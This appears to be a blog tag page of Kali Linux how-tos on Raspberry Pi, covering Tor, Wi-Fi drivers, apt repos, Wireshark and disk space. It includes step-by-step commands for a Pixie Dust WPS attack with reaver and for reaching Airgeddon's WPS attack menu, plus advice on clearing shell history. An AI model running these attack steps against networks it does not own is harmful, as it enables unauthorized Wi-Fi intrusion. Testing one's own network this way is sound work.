Skip to content
Home » kali

kali

Visit Tacticalware.com for information related to this tag and others. We look forward to assisting in your tech projects with our in-depth knowledgebase…

CLEAR COMMAND HISTORY IN LINUX

It is common practice to simply type in commands into a terminal and leave the terminal with never clearing the history. The problem is, if someone accesses your system, they can see everything you have done, which can be an issue.

To check your terminal history, Open a Terminal and type:
history

To clear the History, simply type:
history -c

Now you can check your history again by typing:
history

And you can see it is clear. Do this before you log off your computer every time for good measure

INSTALL TOR ON KALI 2024.1

This is a quick guide on how to install tor on the newest version of Kali Linux. By default the version that I am running does not have it.

Open a terminal and Type:
sudo apt-get update
sudo apt install tor -y
sudo apt install torbrowser-launcher -y

Now to run Tor you will need to open a second terminal

In the first terminal type:
tor
Press Enter. This will start the service

In the second terminal, type:
torbrowser-launcher
Press Enter

This will open the Browser

Try navigating to my Onion site to test it out:
longleycr37tvhhrxmbs3buk3ze6vtpyouz3gy6uytdqqfvoiqrf3yyd.onion

ALFA DRIVER INSTALL FOR KALI 2202.1 ON RASPBERRY PI 4

Open a terminal

sudo apt-get update

sudo apt-get upgrade

ifconfig

Note your wireless adapters…if any are installed

lsusb

Note the USB devices on the pi. You will not see the ALFA wifi device

Next type

sudo apt-get install realtek-rtl88xxau-dkms

Drivers will install, this may take a few minutes.

Once it is done type the following

lsusb

You will now see the Realtek Adapter

ifconfig

You will now see your ALFA wireless card

KALI – Unable to Locate Package

  • Kali

How-To Ensure Your Repos Are Correct

sudo nano /etc/apt/sources.list

Add the following if they are not already in the file:

deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib

Save and Exit the File

sudo apt-get update

Your packages should now be available

Pixie Dust Attacks

Test and Secure YOUR Network Only

Run this from a linux box, against your network. Do not run this against any other network out there. It is easy to find the attacker, it is easy to prosecute the bad actor. Be very careful with this attack.

I would suggest installing Ubuntu, Kali, or ParrotOS and running from a USB drive, connected to your computer or laptop.

Open a termina

sudo bash

apt-get update
apt-get upgrade

apt-get install build-essential
apt-get install libpcap-dev
apt-get install sqlite3
apt-get install libsqlite3-dev
apt-get install pixiewps

git clone https://github.com/t6x/reaver-wps-fork-t6x

cd reaver-wps-fork-t6x/
cd src/
./configure
make
make install

airmon-ng check kill
airmon-ng start wlan1

‘wash -i {monitor-interface}’

Identify your target (YOUR NETWORK ONLY) and note the name, bssid and channel. Make sure the signal is strong

reaver -i wlan1 -b {BSSID of router} -c {router channel} -vvv -K 1 -f

Your attack is now running

How to Install AIRGEDDON

This info is specific to Linux only

Open a terminal

sudo bash

mkdir /tools & cd /tools

git clone https://github.com/v1s1t0r1sh3r3/airgeddon.git

cd airgeddon

ls

sudo bash

./airgeddon.sh

apt-get install and name of tool thats missing

After the dependencies are all installed, run ./airgeddon.sh and begin the configuration

Select your wireless card

Put wireless card into monitoring mode

Select WPS attacks menu – option 8

Select option 4

Select 2.4 ghz

Clean Out Files on Raspberry Pi

Fix Those DISK FULL Errors in Kali on Your Raspberry Pi

The Kali Linux image for the Raspberry Pi only has 7.2GB of space by default, and it fills quickly.  If you haven’t expanded, or are unable to expand for any reason, this will allow you to regain some space.

Simply run the following command from the Terminal:

apt-get autoclean

Thats it!  Make sure you run this command periodically for housekeeping purposes.



Thanks for reading

Hardware that I use:
Raspberry Pi 4 (4gb)
https://amzn.to/3q551IO

SanDisk 32GB Ultra microSDHC UHS-I Memory Card with Adapter
https://amzn.to/2Vfvo0y

CanaKit 3.5A Raspberry Pi 4 Power Supply (USB-C)
https://amzn.to/3fNTYPu

CanaKit Raspberry Pi 4 Micro HDMI Cable – 6 Feet
https://amzn.to/33u5hr9

Western Digital 500GB WD_Black SN750 NVMe
https://amzn.to/3nZ5pH4

Plugable USB C to M.2 NVMe Tool-free Enclosure
https://amzn.to/3lflV3L

Wireshark Lua Error in Kali Linux on a Raspberry Pi

How to Fix the LUA Wireshark Error on Kali Linux

Loading up Wireshark for the first time, you will see the following error:

Lua: Error during loading:
“/usr/share/wireshark/init.lua.32: dofile has been disabled due to running Wireshark as superuser”…….

Fixing it is easy and quick.  First:

nano /usr/share/wireshark/init.lua.32

Look for the following line
disable_lua = false

Change the values to
disable_lua = true

Save and exit the file

Then restart wireshark from the terminal, and the error is gone



Thanks for reading

Hardware that I use:
Raspberry Pi 4 (4gb)
https://amzn.to/3q551IO

SanDisk 32GB Ultra microSDHC UHS-I Memory Card with Adapter
https://amzn.to/2Vfvo0y

CanaKit 3.5A Raspberry Pi 4 Power Supply (USB-C)
https://amzn.to/3fNTYPu

CanaKit Raspberry Pi 4 Micro HDMI Cable – 6 Feet
https://amzn.to/33u5hr9

Western Digital 500GB WD_Black SN750 NVMe
https://amzn.to/3nZ5pH4

Plugable USB C to M.2 NVMe Tool-free Enclosure
https://amzn.to/3lflV3L

Running GParted on a Raspberry Pi with Kali Linux

Expanding Your Root Partition with GPARTED

Installing Kali linux onto a MicroSD card can be quick and easy.  The one main drawback is the default image size of Kali for the Raspberry Pi is only 7GB, which fills up quickly.  This guide will walk you through taking your default install, and expanding it to the maximum size available with your hardware.

To expand it:

apt-get update && apt-get upgrade -y

apt-get install gparted -y

gparted

Select the line with the “/” Mount Point

Click Partition at the top

Click Resize

In the Bar graph at the top of the dialog box you will see Yellow/White/Grey which represents used space, free space, and unallocated space.

Between the yellow and grey you can Select the area and Drag the line over to the right to the maximum size

Select Resize

Click the Edit tab at the top

To commit the changes, click Apply All Operations

Your Drive will grow to the maximum size and you are done!



Thanks for reading

Hardware that I use:
Raspberry Pi 4 (4gb)
https://amzn.to/3q551IO

SanDisk 32GB Ultra microSDHC UHS-I Memory Card with Adapter
https://amzn.to/2Vfvo0y

CanaKit 3.5A Raspberry Pi 4 Power Supply (USB-C)
https://amzn.to/3fNTYPu

CanaKit Raspberry Pi 4 Micro HDMI Cable – 6 Feet
https://amzn.to/33u5hr9

Western Digital 500GB WD_Black SN750 NVMe
https://amzn.to/3nZ5pH4

Plugable USB C to M.2 NVMe Tool-free Enclosure
https://amzn.to/3lflV3L